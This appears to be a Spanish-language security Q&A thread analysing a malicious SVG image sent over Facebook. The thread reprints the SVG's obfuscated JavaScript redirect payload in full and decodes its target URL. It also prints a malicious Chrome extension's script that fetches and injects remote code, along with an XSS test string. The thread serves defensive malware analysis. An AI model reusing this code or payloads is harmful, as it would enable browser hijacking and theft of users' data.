Recibí un archivo SVG sospechoso a través de un mensaje de Facebook. ¿Qué hace? [cerrado]

16

¿Qué intenta hacer este archivo?

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
  <circle cx="250" cy="250" r="50" fill="red" />
  <script type="text/javascript"><![CDATA[
    function jxnpgmlk(wvdxrc,lecho,jqgws){
      var uxheu = "aC3YP1J7t?2R.o_gN0/5Fevz:b9ilEnjxmXTLK6dr8GpASs4IyDZk=hUVHfOcBuM";
      var uahflv = ["jfTiENZCUKG=Dtxuh.Fvr_?0X9mlJa4sRHkbnY26P1Iyc\/OVM:dLg7oBpA8eSz53","M0:ARfNp1cv\/bosBHlYxn.8Ok9T7IJ6GeEi3y5tmVUgKzDhur4PLC?2a_=XFdZSj","aKEd.eMR1bZ8rzm4tfuhn0Pp3xHI9AXg?Dv_cUVy2FLTlYoSGk:BN5\/=JOij7s6C","Iu2b=zPK0\/7vrj1LEARtcnUkShmG3J_.DNo46fCHXBx?i8s:T5ZepYgadOylMFV9"];
      var gzzxb = "";
      var jfort = 0;
      while(uahflv[jfort]){
        jfort++;
      }
      var xlmjv = 0;
      while(wvdxrc[xlmjv]){
        var uxqpon = 0;
        var aljmjv = -1;
        while(uxheu[uxqpon]){
          if(uxheu[uxqpon] == wvdxrc[xlmjv]){
            aljmjv = uxqpon;
            break;
          }
          uxqpon++;
        }
        if(aljmjv >= 0){
          var sqakm = 0;
          var ehtbzd = -1;
          while(uahflv[xlmjv%jfort][sqakm]){
            if(uahflv[xlmjv%jfort][sqakm] == wvdxrc[xlmjv]){
              ehtbzd = sqakm;
              break;
            }
          sqakm++;
          }
          gzzxb += uxheu[ehtbzd];
        }else{
          gzzxb += wvdxrc[xlmjv];
        }
        xlmjv++;
      }
      var swidsm = "";
      for(yokncr=lecho;yokncr<gzzxb.length;yokncr++){
        swidsm += gzzxb[yokncr];
      }
      gzzxb = swidsm;
      return gzzxb;
    }
  var yaqjv = window;
  var cujnl = jxnpgmlk("OEoqu71jy",6,true);
  var gnqrek = jxnpgmlk("_9Npy9P5tSxq?Ca3tda0loX",15,false);
  var zvlgj = jxnpgmlk("66/X_X",2,true);
  yaqjv[cujnl][gnqrek][zvlgj] = jxnpgmlk("R./0UK3RFEzVP7yrSoDRy2TRUV6sUbTgy",2,true);
  ]]></script>
</svg>
    
pregunta Jmanhouss 20.11.2016 - 23:19
fuente

3 respuestas

43

Este archivo es parte de un virus.

Es un archivo de imagen SVG que contiene código JS ofuscado que lo redirige a un sitio web malicioso. Este sitio web intentará instalar malware (un complemento del navegador Chrome) y reenviará el archivo SVG a sus contactos de Facebook. Si cree que se infectó, siga estas instrucciones: ¡Ayuda! ¡Mi PC de casa ha sido infectada por un virus! ¿Qué hago ahora?

Análisis rápido

El atacante probablemente eligió un archivo SVG porque es un formato de imagen de apariencia inocente y menos sospechoso que los archivos ejecutables o HTML (cuya transferencia también está prohibida por Facebook). Pero a pesar de ser gráficos, los SVG también pueden contener código de script activo.

El archivo en sí contiene un segmento en línea confuso <script> que consta de dos partes. La primera parte es la función jxnpgmlk() que actúa como un decodificador que descifra las cadenas que recibe como entrada. El algoritmo exacto realmente no importa porque simplemente podemos aplicar la función a cualquier cadena codificada. La segunda parte es una carga útil muy corta. Las pocas cadenas definidas aquí se pueden descifrar simplemente usando la función de decodificación, dando como resultado lo siguiente:

var cujnl = "top";
var gnqrek = "location";
var zvlgj = "href";
window[cujnl][gnqrek][zvlgj] = "http://mourid.com/php/trust.php";

Básicamente, todo lo que hace este código es redirigirte a http://mourid.com/php/trust.php .

A partir de ahí, dos redireccionamientos 302 más siguen a http://kerman.pw/php/trust.php y http://kerman.pw/?fb_dsa . La página final simula el aspecto de una página de video de Youtube para engañar a los usuarios para que instalen un supuestamente "códec faltante". En su lugar, se le solicitará que instale esta extensión de Chrome malintencionada llamada "One":

enlace
Editar: Google finalmente eliminó la extensión de Chrome Web Store, pero aún puede haber otras instancias.

Descargué manualmente el archivo de extensión y eché un vistazo rápido al código fuente confuso. El manifiesto de extensión define varios scripts de fondo que se cargan inmediatamente una vez que se instalan. Esta es la parte esencial de lo que he ofuscado:

this["fetch"]("http://cerawa.pw/manalovuci/kojakumoda.bg")["then"](function(kkuruv) {
    if (kkuruv["ok"]) {
        kkuruv["blob"]()["then"](function(yxbnjo) {
            var pklimw = this["URL"]["createObjectURL"](yxbnjo);
            var yxyiq = this["document"]["createElement"]("script");
            yxyiq["src"] = pklimw;
            this["document"]["head"]["appendChild"](yxyiq);
        });
    }
});

Como puede ver, la extensión descarga código JS adicional de http://cerawa.pw/manalovuci/kojakumoda.bg . (Tenga en cuenta que la página no devolverá nada si no envía un agente de usuario de Chrome). Esa respuesta se convierte en una URL de objeto y se adjunta a cada documento mientras navega, lo que le otorga al atacante un control remoto sobre su sesión de navegación.

Parece que el malware puede activarse solo por la interacción del usuario, por lo que si no instaló la extensión, es probable que esté seguro . Pero como la página puede servir fácilmente diferentes tipos de malware a diferentes agentes de usuarios o diferentes países, no es posible estar absolutamente seguro de que no se infectó al visitar el sitio. En caso de duda, es hora de eliminarlo de la órbita .

Bonus: Curiosamente, esa página también es vulnerable a XSS. Pero supongo que no tienen un programa de recompensas de errores en su lugar ... ( http://kerman.pw/"><script>alert(1)</script> ).

    
respondido por el Arminius 21.11.2016 - 00:30
fuente
9

También obtuve esta cosa "maravillosa", y jugué un poco con ella. Resulta que solo se activa cuando estás usando "Chrome", porque intenta instalarse y una extensión llamada "One", que es el virus maldito. Si lo abre con cualquier otro navegador (Opera, Firefox, Edge, IE, Safari E.T.C.), solo obtendrá la página en blanco, no ocurrirá nada.

Creo que la esencia principal del virus es la extensión, porque luego intenta robar tus datos de Facebook. Cuando lo abres en Chrome, se ve así:

Si haces clic en "Agregar extensión", te infectas y te redirige a Facebook. En este punto, debe cerrar Chrome inmediatamente y desinstalarlo. O puedes abrir la pestaña de extensiones y eliminar la extensión llamada "One", pero no creo que la elimine por completo.

Después de eliminarlo, sugiero cambiar la contraseña de Facebook y desconectarse de todas las demás instancias. (Facebook ofrece una opción para hacerlo).

    
respondido por el Džons Bobkets 21.11.2016 - 01:05
fuente
3

El código intenta redirigir su navegador a otro sitio web. La URL está encriptada en las variables de cadena dentro del código javascript.

Si visita un sitio web que incrusta esta imagen svg, se redirigirá inmediatamente al sitio web, probablemente malicioso. Para defenderse de las redirecciones de Javascript, puede desactivar Javascript en su navegador.

/**
* @param string ar
* @param {number} opt_attributes
* @param {boolean} recurring (unused)
* @return string
*/
function theMethod(ar, opt_attributes, recurring) {
    /** @type {string} */
    var a = "aC3YP1J7t?2R.o_gN0/5Fevz:b9ilEnjxmXTLK6dr8GpASs4IyDZk=hUVHfOcBuM";
    /** @type {Array} */
    var encrypted = ["jfTiENZCUKG=Dtxuh.Fvr_?0X9mlJa4sRHkbnY26P1Iyc/OVM:dLg7oBpA8eSz53", "M0:ARfNp1cv/bosBHlYxn.8Ok9T7IJ6GeEi3y5tmVUgKzDhur4PLC?2a_=XFdZSj", "aKEd.eMR1bZ8rzm4tfuhn0Pp3xHI9AXg?Dv_cUVy2FLTlYoSGk:BN5/=JOij7s6C", "Iu2b=zPK0/7vrj1LEARtcnUkShmG3J_.DNo46fCHXBx?i8s:T5ZepYgadOylMFV9"];
    var s = "";
    var n = encrypted.length; //
    var i = 0;

    // loop over the first argument
    for (;ar[i];) {
        var mid = 0;
        var high = -1;
        // get the index of the current character in the variable "a"
        for (;a[mid];) {
            if (a[mid] == ar[i]) {
                /** @type {number} */
                high = mid;
                break;
            }
            mid++;
        }
        // if we found the charachter in the variable "a"
        if (high >= 0) {
            var j = 0;
            var x = -1;
            for (;encrypted[i % n][j];) {
                if (encrypted[i % n][j] == ar[i]) {
                    x = j;
                    break;
                }
                j++;
            }
            // append char to solution
            s += a[x];
        } else {
            // append char to solution
            s += ar[i];
        }
        i++;
    }
    /** @type {string} */
    var u = "";
    /** @type {number} */
    aNumber = opt_attributes;
    for (;aNumber < s.length;aNumber++) {
        u += s[aNumber];
    }
    s = u;
    return s;
}
/** @type {Window} */
var cujnl = theMethod("OEoqu71jy", 6, true); // top
var gnqrek = theMethod("_9Npy9P5tSxq?Ca3tda0loX", 15, false); // location
var zvlgj = theMethod("66/X_X", 2, true); // href
window[cujnl][gnqrek][zvlgj] = theMethod("R./0UK3RFEzVP7yrSoDRy2TRUV6sUbTgy", 2, true); // the malicious URL
    
respondido por el Stefan Braun 21.11.2016 - 00:04
fuente

Lea otras preguntas en las etiquetas